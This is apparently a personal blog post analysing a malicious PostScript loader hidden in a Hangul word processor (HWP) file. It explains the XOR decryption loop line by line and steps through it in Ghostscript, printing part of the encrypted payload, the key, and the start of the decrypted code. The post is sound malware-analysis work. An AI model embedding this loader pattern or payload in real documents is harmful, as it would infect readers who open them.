Malicious postscript code in hwp

I found a hwp(Hangul word processor) file which contains malicious postscript code.
I take some analysis notes for my memo.



Malicious postscript code is as following.
/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…>

def %kshvudgsjsye3
0 1 X240 length 1 sub %
%kshvudgsjsye3
{/Y31 exch 1 2 and pop def %kshvudgsjsye3
X240 dup Y31 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y31 15 and /Y104 8 def get xor Y31 exch put} for X240 cvx %
exec

I’ve googled and found some coding rules.


・Anything following a % on a postscript program line is ignored by the interpreter.

・initialize variable i with value 0
/i 0 def

・set each element of array ar to value n
0 1 ar length 1 sub {ar exch n put} for

exch     Exchange the top two values of stack.
dup      Duplicate the top element of stack.

・logical 'and' operator. a&&b
a b and

<hexadecimal string> cvx          makes string executable
<hexadecimal string> cvx exec     makes string executable and executes proc



Considering the above, the malicious code can be expressed like this.

/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…> def
0 1 X240 length 1 sub
{
 /Y31 exch def
 X240 dup
 Y31 get
 <296BD6EB2CA90321BBEF5F5F4CFC10EC>
 Y31 15 and
 /Y104 8 def                    %<----dummy code. ignore this line.
 get
 xor
 Y31 exch
 put
} for
X240 cvx exec

with comments..
/X240 <0632E7CB1D9F2067FDA9197F289976CC…snip…> def     % X240=<0632E7CB1D9F2067FDA9197F289976CC…snip…>
0 1 X240 length 1 sub          % stack is now… (X240’s length-1), 1, 0       top..bottom
{
 /Y31 exch def                 % Y31 is defined as X240’s length-1 : index of encrypted string
 X240 dup                      % duplicate encrypted string
 Y31 get                       % get 1 byte. X240[Y31]
 <296BD6EB2CA90321BBEF5F5F4CFC10EC>  %push XOR key string to stack
 Y31 15 and                    % resolve index of XOR key string
 get                           % get 1 byte. XOR_key[index]
 xor                           % conduct X240[Y31] ^ XOR_key[index]
 Y31 exch                      % push index of encrypted string to stack and exchange top 2 elements of stack 
                               % (Y31 and XORed val)
 put                           % put XORed value to X240[Y31] 
} for                          % go to next loop. Y31-1
X240 cvx exec                  % make X240 executable and exec.
This malicious postscript code is,
decrypt shellcode by XOR
and execute it.


Now, let's debugging on Ghostscript.

#Ghost script has memory size limistation. So we cant decrypt full of shellcode in this experiment.
$ /usr/local/bin/gs
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
GS>/X240 <0632E7CB1D9F2067FDA9197F289976CC0632E4CB75982340C99D3E266C98758A09448FD80C81734ED49D767F289976CC0632E2CB1D896253C98E267F289976CC0632E3CB1C896744DDCF70067ADC21DA0A5AE6DB0CCD66479BC006686CA526CC4819A48A55896744DDCF700674DC21DA0A53F68F49CF230EE2D67F6E7ADF21D46F5BF68F49CF230EE2DE6F7F7DCA33DF182EF68A5EDB62589B8B3A396CD349DD184BE7DD0F9B32149B8E2D2D2D8530884C0DF6C4759831018AD97C6E6C9D629E4812F68F49CF230EE2DE6C7F37DC49DD194BB78743C867018AD97C6E7CDC6BCC705AE7CB4DC56C40DFCF227F3E996089481FF6DA1A8A32118BCF247F63A521D8095AE0C81D9C31119B9C2B2D259277CC4D0EB0960CDB6651DE8E2B7F7CDC21CC705DF6DA0CDA76439B947F7015CD25CC185DF5DA199B3301C89B2D36229B30884C0DF6DB0C9823788ADA7F3329927798414BE7CB5FDC61> def
GS>0 1 X240 length 1 sub 
GS<3>{
/Y31 exch def
X240 dup
Y31 get
<296BD6EB2CA90321BBEF5F5F4CFC10EC>
Y31 15 and
get
xor
Y31 exch
put
} for
GS>X240 =
/Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 0 def /Y6 16#100 def /Y7 Y6 array def /Y8 16#8 def /Y9 16#18F0 def /Y10 16#31E array def /Y11 16#215 array def /Y12 16#1 array def /Y13 { Y10 aload 16#10 { Y11 aload } repeat 16#100 { /Y14 16#1520 string def} repeat 0 1 Y6 1 sub { /Y15 16#1520 string def 0 1 Y15 length 1 sub
GS>

We can observe part of decrypted shellcode by "X240 =" command.
GS>X240 =
/Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 0 def /Y6 16#100 def /Y7 Y6 array def /Y8 16#8 def /Y9 16#18F0 def /Y10 16#31E array def /Y11 16#215 array def /Y12 16#1 array def /Y13 { Y10 aload 16#10 { Y11 aload } repeat 16#100 { /Y14 16#1520 string def} repeat 0 1 Y6 1 sub { /Y15 16#1520 string def 0 1 Y15 length 1 sub


A more detailed..
pstack  :   non-distructive display of whole stack.
$ /usr/local/bin/gs
GPL Ghostscript 9.52 (2020-03-19)
Copyright (C) 2020 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
GS>/X240 <0632E7CB1D9F2067FDA9197F289976CC0632E4CB75982340C99D3E266C98758A09448FD80C81734ED49D767F289976CC0632E2CB1D896253C98E267F289976CC0632E3CB1C896744DDCF70067ADC21DA0A5AE6DB0CCD66479BC006686CA526CC4819A48A55896744DDCF700674DC21DA0A53F68F49CF230EE2D67F6E7ADF21D46F5BF68F49CF230EE2DE6F7F7DCA33DF182EF68A5EDB62589B8B3A396CD349DD184BE7DD0F9B32149B8E2D2D2D8530884C0DF6C4759831018AD97C6E6C9D629E4812F68F49CF230EE2DE6C7F37DC49DD194BB78743C867018AD97C6E7CDC6BCC705AE7CB4DC56C40DFCF227F3E996089481FF6DA1A8A32118BCF247F63A521D8095AE0C81D9C31119B9C2B2D259277CC4D0EB0960CDB6651DE8E2B7F7CDC21CC705DF6DA0CDA76439B947F7015CD25CC185DF5DA199B3301C89B2D36229B30884C0DF6DB0C9823788ADA7F3329927798414BE7CB5FDC61> def
GS>0 1 X240 length 1 sub
GS<3>pstack
342
1
0
GS<3>/Y31 exch def
GS<2>pstack
1
0
GS<2>Y31 =
342
GS<2>X240 dup
GS<4>pstack
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<4>Y31 get
GS<4>pstack
97
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<4><296BD6EB2CA90321BBEF5F5F4CFC10EC>
GS<5>pstack
(\)k\326\353,\251\003!\273\357__L\374\020\354)
97
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<5>Y31 15 and
GS<6>pstack
6
(\)k\326\353,\251\003!\273\357__L\374\020\354)
97
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<6>get
GS<5>pstack
3
97
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<5>xor
GS<4>pstack
98
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<4>Y31 =   
342
GS<4>Y31 exch
GS<5>pstack
98
342
(\0062\347\313\035\237 g\375\251\031\177\(\231v\314\0062\344\313u\230#@\311\235>&l\230u\212\tD\217\330\f\201sN\324\235v\177\(\231v\314\0062\342\313\035\211bS\311\216&\177\(\231v\314\0062\343\313\034\211gD\335\317p\006z\334!\332\nZ\346\333\f\315fG\233\300\006hl\245&\314H\031\244\212U\211gD\335\317p\006t\334!\332\nS\366\217I\317#\016\342\326\177nz\337!\324o[\366\217I\317#\016\342\336o\177}\3123\337\030.\366\212^\333bX\233\213:9l\323I\335\030K\347\335\017\2332\024\233\216---\2050\210L\r\366\304u\2301\001\212\331|nl\235b\236H\022\366\217I\317#\016...)
1
0
GS<5>put
GS<2>pstack
1
0
GS<2>X240 =
2??? g??(?v?2??u?#@ɝ>&l?u? D??
                                   ?sNԝv(?v?2???bSɎ&(?v?2???gD??pz?!?
Z??
   ?fG??hl?&?H??U?gD??pt?!?
??u?1??|nl?b?H??I?#??l7?I?K??C?g??|n|?k?pZ??M?l@??">?`?H???2??$c?!? Z???1??+-%?w?M??
        ?fQގ+|?!?p]??
??                   ?vC??p?%?]???3ț-6"?0?L
  ?#x??3)?w?AK??_?b
GS<2>


We can observe that "98" (0x62 : b) is put to X240[342].
GS<2>X240 =
2??? g??(?v?2??u?#@ɝ>&l?u? D??
                                   ?sNԝv(?v?2???bSɎ&(?v?2???gD??pz?!?
Z??
   ?fG??hl?&?H??U?gD??pt?!?
??u?1??|nl?b?H??I?#??l7?I?K??C?g??|n|?k?pZ??M?l@??">?`?H???2??$c?!? Z???1??+-%?w?M??
        ?fQގ+|?!?p]??
??                   ?vC??p?%?]???3ț-6"?0?L
  ?#x??3)?w?AK??_?b

Comments

Popular posts from this blog

Firmware dumping via SPI

BochsでMBR debugging

BLE sniffing with UbertoothOne